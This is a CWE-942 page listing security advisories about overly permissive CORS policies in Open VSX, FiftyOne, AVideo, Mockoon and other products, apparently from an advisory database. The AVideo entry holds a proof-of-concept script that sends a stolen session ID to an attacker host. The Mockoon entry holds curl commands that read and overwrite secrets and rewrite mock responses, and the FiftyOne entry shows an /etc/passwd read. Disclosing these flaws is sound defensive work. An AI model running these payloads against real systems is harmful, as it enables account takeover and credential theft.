Common Weakness Enumeration

CWE-942

Allowed

Permissive Cross-domain Security Policy with Untrusted Domains

Abstraction: Variant · Status: Incomplete

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.

221 vulnerabilities reference this CWE, most recent first.

GHSA-PX7G-FW3G-W264

Vulnerability from github – Published: 2026-09-22 12:30 – Updated: 2026-09-22 12:30
VLAI
Details

The open-vsx.org deployment returned Access-Control-Allow-Origin reflecting the requesting origin together with Access-Control-Allow-Credentials: true on the authenticated /user/ endpoints. A page on any origin could therefore issue credentialed requests to the service in a logged-in user's browser and read the responses.

This exposed /user (login name, avatar, homepage, tokens URL), /user/tokens, /user/namespaces, /user/extensions, /user/search/{name} and /user/namespace/{name}/members, and — because /user/csrf was readable the same way — allowed the CSRF protection on write endpoints to be defeated. Chaining the two, an attacker page could call /user/token/create and exfiltrate a personal access token carrying publish and delete rights over the victim's namespaces.

The headers were emitted by the CDN/edge layer, not by the application: the Open VSX software sets allowCredentials(true) in exactly one place, against a single exact origin derived from ovsx.webui.url, and defines no CORS mapping on /user/ beyond it. No configuration of the software produces origin reflection with credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-90882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T10:17:10Z",
    "severity": "HIGH"
  },
  "details": "The open-vsx.org deployment returned Access-Control-Allow-Origin reflecting the requesting origin together with Access-Control-Allow-Credentials: true on the authenticated /user/ endpoints. A page on any origin could therefore issue credentialed requests to the service in a logged-in user\u0027s browser and read the responses.\n\n\n\nThis exposed /user (login name, avatar, homepage, tokens URL), /user/tokens, /user/namespaces, /user/extensions, /user/search/{name} and /user/namespace/{name}/members, and \u2014 because /user/csrf was readable the same way \u2014 allowed the CSRF protection on write endpoints to be defeated. Chaining the two, an attacker page could call /user/token/create and exfiltrate a personal access token carrying publish and delete rights over the victim\u0027s namespaces.\n\n\n\nThe headers were emitted by the CDN/edge layer, not by the application: the Open VSX software sets allowCredentials(true) in exactly one place, against a single exact origin derived from ovsx.webui.url, and defines no CORS mapping on /user/ beyond it. No configuration of the software produces origin reflection with credentials.",
  "id": "GHSA-px7g-fw3g-w264",
  "modified": "2026-09-22T12:30:25Z",
  "published": "2026-09-22T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90882"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/289"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q2FW-2Q69-QH7P

Vulnerability from github – Published: 2025-06-06 12:30 – Updated: 2025-06-06 12:30
VLAI
Details

In IDF v0.10.0-0C03-03 and ZLF v0.10.0-0C03-04, a configuration error has been detected in cross-origin resource sharing (CORS). Exploiting this vulnerability requires authenticating to the device and executing certain commands that can be executed with view permission.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T12:15:22Z",
    "severity": "MODERATE"
  },
  "details": "In IDF v0.10.0-0C03-03 and ZLF v0.10.0-0C03-04, a configuration error has been detected in cross-origin resource sharing (CORS). Exploiting this vulnerability requires authenticating to the device and executing certain commands that can be executed with view permission.",
  "id": "GHSA-q2fw-2q69-qh7p",
  "modified": "2025-06-06T12:30:33Z",
  "published": "2025-06-06T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41363"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-zivs-idf-and-zlf-products"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q78P-HJ9H-5466

Vulnerability from github – Published: 2026-07-15 21:57 – Updated: 2026-07-15 21:57
VLAI
Summary
FiftyOne App server uses wildcard CORS (Access-Control-Allow-Origin: *), enabling cross-origin reads of local server data
Details

Impact

The FiftyOne App/API server (fiftyone/server/app.py) and the /media route (fiftyone/server/routes/media.py) unconditionally set a permissive CORS header (Access-Control-Allow-Origin: *) on their responses. Because the embedded App server runs locally and is unauthenticated, this allows any website a user visits to make cross-origin requests to that user's running FiftyOne server and read the responses.

Combined with the unauthenticated /media endpoint — which serves files from the local filesystem by path — the wildcard CORS policy turns a local-only file read into a remotely exploitable, drive-by data exfiltration vulnerability. A malicious web page can silently issue requests such as http://localhost:5151/media?filepath=/etc/passwd and read arbitrary files accessible to the server process (SSH keys, cloud credentials, .env files, dataset media, etc.), then exfiltrate them to an attacker-controlled endpoint.

The victim only needs to have a FiftyOne server running locally and visit a malicious page — no clicks or other interaction are required. Browsers that have shipped Private Network Access / local-network-access protections (e.g. Chromium 142+) mitigate this for some users, but Safari and Firefox do not yet, so the attack remains viable in common configurations.

Who is impacted: any user running FiftyOne (the open-source, embedded App server) locally while also browsing the web.

Not affected: media stored in cloud buckets, which is served via signed URLs on a separate origin.

Patches

Fixed in FiftyOne 1.17.0. The hard-coded Access-Control-Allow-Origin: * has been removed and the server now responds same-origin only by default, which covers local desktop usage and the supported notebook integrations (each served through a same-origin proxy or iframe).

Cross-origin access is now opt-in via a new allowed_origins config option (environment variable FIFTYONE_ALLOWED_ORIGINS), an explicit comma-separated list of trusted origins, e.g.:

export FIFTYONE_ALLOWED_ORIGINS='https://app.example.com,http://localhost:3000'

The literal value * restores the legacy wildcard behavior for users who explicitly require it and emits a warning.

Users should upgrade to FiftyOne 1.17.0 or later.

Workarounds

In affected versions there is no configuration flag to disable the wildcard CORS header without upgrading. Until you can upgrade:

  • Do not run the FiftyOne App server while browsing untrusted websites.
  • Keep the App server bound to localhost (the default) and avoid exposing it on a network interface.
  • Use a browser that enforces Private Network Access protections.

Resources

  • OWASP A01:2025 – Broken Access Control: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fiftyone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T21:57:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe FiftyOne App/API server (`fiftyone/server/app.py`) and the `/media` route (`fiftyone/server/routes/media.py`) unconditionally set a permissive CORS header (`Access-Control-Allow-Origin: *`) on their responses. Because the embedded App server runs locally and is unauthenticated, this allows **any website a user visits to make cross-origin requests to that user\u0027s running FiftyOne server and read the responses**.\n\nCombined with the unauthenticated `/media` endpoint \u2014 which serves files from the local filesystem by path \u2014 the wildcard CORS policy turns a local-only file read into a **remotely exploitable, drive-by data exfiltration** vulnerability. A malicious web page can silently issue requests such as `http://localhost:5151/media?filepath=/etc/passwd` and read arbitrary files accessible to the server process (SSH keys, cloud credentials, `.env` files, dataset media, etc.), then exfiltrate them to an attacker-controlled endpoint.\n\nThe victim only needs to have a FiftyOne server running locally and visit a malicious page \u2014 no clicks or other interaction are required. Browsers that have shipped Private Network Access / local-network-access protections (e.g. Chromium 142+) mitigate this for some users, but Safari and Firefox do not yet, so the attack remains viable in common configurations.\n\n**Who is impacted:** any user running FiftyOne (the open-source, embedded App server) locally while also browsing the web.\n\n**Not affected:** media stored in cloud buckets, which is served via signed URLs on a separate origin.\n\n### Patches\n\nFixed in **FiftyOne 1.17.0**. The hard-coded `Access-Control-Allow-Origin: *` has been removed and the server now responds **same-origin only by default**, which covers local desktop usage and the supported notebook integrations (each served through a same-origin proxy or iframe).\n\nCross-origin access is now opt-in via a new `allowed_origins` config option (environment variable `FIFTYONE_ALLOWED_ORIGINS`), an explicit comma-separated list of trusted origins, e.g.:\n\n```shell\nexport FIFTYONE_ALLOWED_ORIGINS=\u0027https://app.example.com,http://localhost:3000\u0027\n```\n\nThe literal value `*` restores the legacy wildcard behavior for users who explicitly require it and emits a warning.\n\n**Users should upgrade to FiftyOne 1.17.0 or later.**\n\n### Workarounds\n\nIn affected versions there is no configuration flag to disable the wildcard CORS header without upgrading. Until you can upgrade:\n\n- Do not run the FiftyOne App server while browsing untrusted websites.\n- Keep the App server bound to `localhost` (the default) and avoid exposing it on a network interface.\n- Use a browser that enforces Private Network Access protections.\n\n### Resources\n\n- OWASP A01:2025 \u2013 Broken Access Control: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/",
  "id": "GHSA-q78p-hj9h-5466",
  "modified": "2026-07-15T21:57:29Z",
  "published": "2026-07-15T21:57:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/voxel51/fiftyone/security/advisories/GHSA-q78p-hj9h-5466"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voxel51/fiftyone/commit/7c5b92eec5c7c0210c0c8134351ced77d2800ae0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/voxel51/fiftyone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voxel51/fiftyone/releases/tag/v1.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FiftyOne App server uses wildcard CORS (Access-Control-Allow-Origin: *), enabling cross-origin reads of local server data"
}

GHSA-QC3P-398R-P59J

Vulnerability from github – Published: 2026-03-17 19:52 – Updated: 2026-03-20 21:23
VLAI
Summary
AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS
Details

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T19:52:28Z",
    "nvd_published_at": "2026-03-20T06:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj-\u003ephpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER[\u0027HTTP_ORIGIN\u0027]) ? @$_SERVER[\u0027HTTP_REFERER\u0027] : $_SERVER[\u0027HTTP_ORIGIN\u0027];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\u003cscript\u003e\nfetch(\u0027https://TARGET/objects/phpsessionid.json.php\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(d =\u003e {\n  // d.phpsessid = victim\u0027s session ID\n  document.location = \u0027https://attacker.com/steal?sid=\u0027 + d.phpsessid;\n});\n\u003c/script\u003e\n```\n\nWhen a logged-in AVideo user visits the attacker\u0027s page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** \u2014 Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.",
  "id": "GHSA-qc3p-398r-p59j",
  "modified": "2026-03-20T21:23:00Z",
  "published": "2026-03-17T19:52:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS"
}

GHSA-QGRP-RJ4F-64XH

Vulnerability from github – Published: 2026-05-14 21:30 – Updated: 2026-05-15 15:30
VLAI
Details

Inappropriate implementation in CORS in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T20:17:19Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in CORS in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-qgrp-rj4f-64xh",
  "modified": "2026-05-15T15:30:40Z",
  "published": "2026-05-14T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8576"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/496231853"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QGVX-GH8H-GMQJ

Vulnerability from github – Published: 2023-11-14 12:30 – Updated: 2023-11-14 12:30
VLAI
Details

A vulnerability has been identified in SIMATIC PCS neo (All versions < V4.1). When accessing the Information Server from affected products, the products use an overly permissive CORS policy. This could allow an attacker to trick a legitimate user to trigger unwanted behavior.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T11:15:14Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC PCS neo (All versions \u003c V4.1). When accessing the Information Server from affected products, the products use an overly permissive CORS policy. This could allow an attacker to trick a legitimate user to trigger unwanted behavior.",
  "id": "GHSA-qgvx-gh8h-gmqj",
  "modified": "2023-11-14T12:30:27Z",
  "published": "2023-11-14T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46098"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-456933.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R863-5PGM-C8G4

Vulnerability from github – Published: 2026-05-29 09:31 – Updated: 2026-05-29 09:31
VLAI
Details

CORS misconfiguration in the REST API of Network Optix Nx Witness VMS before version 6.1.2, when running in the default Standard security mode, on Linux and Windows allows an unauthenticated remote attacker to steal the session token of an authenticated user and perform Administrator Account Takeover via a malicious cross-origin web page visited by the victim. The High security mode is not affected.Workaround:

For existing installations running in Standard security mode, set Access-Control-Allow-Credentials to false via the REST API: PATCH /rest/v2/system/settings with body {"supportedOrigins": "null"}. Alternatively, select High security level during initial setup.

Solution:

Update to Nx Witness VMS version 6.1.2 or later, in which Access-Control-Allow-Credentials is set to false in the default Standard security configuration.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T09:16:17Z",
    "severity": "HIGH"
  },
  "details": "CORS misconfiguration in the REST API of Network Optix Nx Witness VMS before version 6.1.2, when running in the default Standard security mode, on Linux and Windows allows an unauthenticated remote attacker to steal the session token of an authenticated user and perform Administrator Account Takeover via a malicious cross-origin web page visited by the victim. The High security mode is not affected.Workaround:\n\nFor existing installations running in Standard security mode, set Access-Control-Allow-Credentials to false via the REST API: PATCH /rest/v2/system/settings with body {\"supportedOrigins\": \"null\"}. Alternatively, select High security level during initial setup.\n\nSolution:\n\nUpdate to Nx Witness VMS version 6.1.2 or later, in which Access-Control-Allow-Credentials is set to false in the default Standard security configuration.",
  "id": "GHSA-r863-5pgm-c8g4",
  "modified": "2026-05-29T09:31:05Z",
  "published": "2026-05-29T09:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10056"
    },
    {
      "type": "WEB",
      "url": "https://support.networkoptix.com/hc/en-us/articles/39254208939159-How-to-Enable-CORS-Validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQG6-587C-H9V3

Vulnerability from github – Published: 2025-06-16 12:30 – Updated: 2025-06-16 12:30
VLAI
Details

An unauthenticated remote attacker can take advantage of the current overly permissive CORS policy to gain access and read the responses, potentially exposing sensitive data or enabling further attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-25264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-16T10:15:19Z",
    "severity": "HIGH"
  },
  "details": "An unauthenticated remote attacker can take advantage of the current overly permissive CORS policy to gain access and read the responses, potentially exposing sensitive data or enabling further attacks.",
  "id": "GHSA-rqg6-587c-h9v3",
  "modified": "2025-06-16T12:30:25Z",
  "published": "2025-06-16T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25264"
    },
    {
      "type": "WEB",
      "url": "https://certvde.com/en/advisories/VDE-2025-018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQX4-3F6Q-3X2V

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04
VLAI
Summary
@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft
Details

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

  • Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
  • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
  • Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
  • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
  • Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.


Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.


PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

  • Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
  • Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
  • Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
  • Auth-token harvesting via transaction logs / SSE stream.
  • State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

  • All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

  1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
  2. Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
  3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
  4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
  5. Add SECURITY.md with disclosure instructions.
